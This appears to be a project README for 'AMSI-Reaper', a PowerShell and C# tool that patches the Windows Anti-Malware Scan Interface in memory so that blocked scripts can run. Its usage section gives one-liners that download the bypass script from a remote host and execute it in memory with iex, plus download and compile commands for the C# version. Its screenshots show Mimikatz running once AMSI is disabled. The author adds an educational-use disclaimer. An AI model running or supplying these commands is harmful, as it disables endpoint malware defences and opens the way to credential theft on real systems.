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AMSI-Reaper

reaper

Warning

The AMSI-Reaper tool is designed mainly for educational and research purposes. The author is not responsible for any misuse, damage, or legal consequences caused by the use of this tool.

Overview

  • The (AMSI) is a built-in security feature in Windows that enables applications and services to integrate with antimalware products. It automatically protects against harmful scripts and code in programs like PowerShell.
  • AMSI-Reaper is a tool developed in PowerShell and C# (.NET Framework v4.0) designed to bypass the Anti-Malware Scan Interface in Windows.
  • AMSI-Reaper injects code into the memory of the AMSI components, preventing them from interfering with your scripts.
  • Check out more on the YouTube Video

Usage

◽️ PowerShell Version

  • Download
iex (iwr https://raw.githubusercontent.com/h0ru/AMSI-Reaper/main/src/AMSI-Reaper.ps1)
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/h0ru/AMSI-Reaper/main/src/AMSI-Reaper.ps1')

◽️ C# Version

  • Download
wget https://raw.githubusercontent.com/h0ru/AMSI-Reaper/main/src/AMSI-Reaper.cs -O AMSI-Reaper.cs
iwr https://raw.githubusercontent.com/h0ru/AMSI-Reaper/main/src/AMSI-Reaper.cs -O AMSI-Reaper.cs
  • Compile
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe AMSI-Reaper.cs

Images

❌ Invoke-Mimikatz is detected and blocked by AMSI.

image1

✔️ AMSI-Reaper in PowerShell, we can request and use it from the command line in real-time.

image2

✔️ AMSI-Reaper in C# with native Windows features by compiling it with CSC.

image3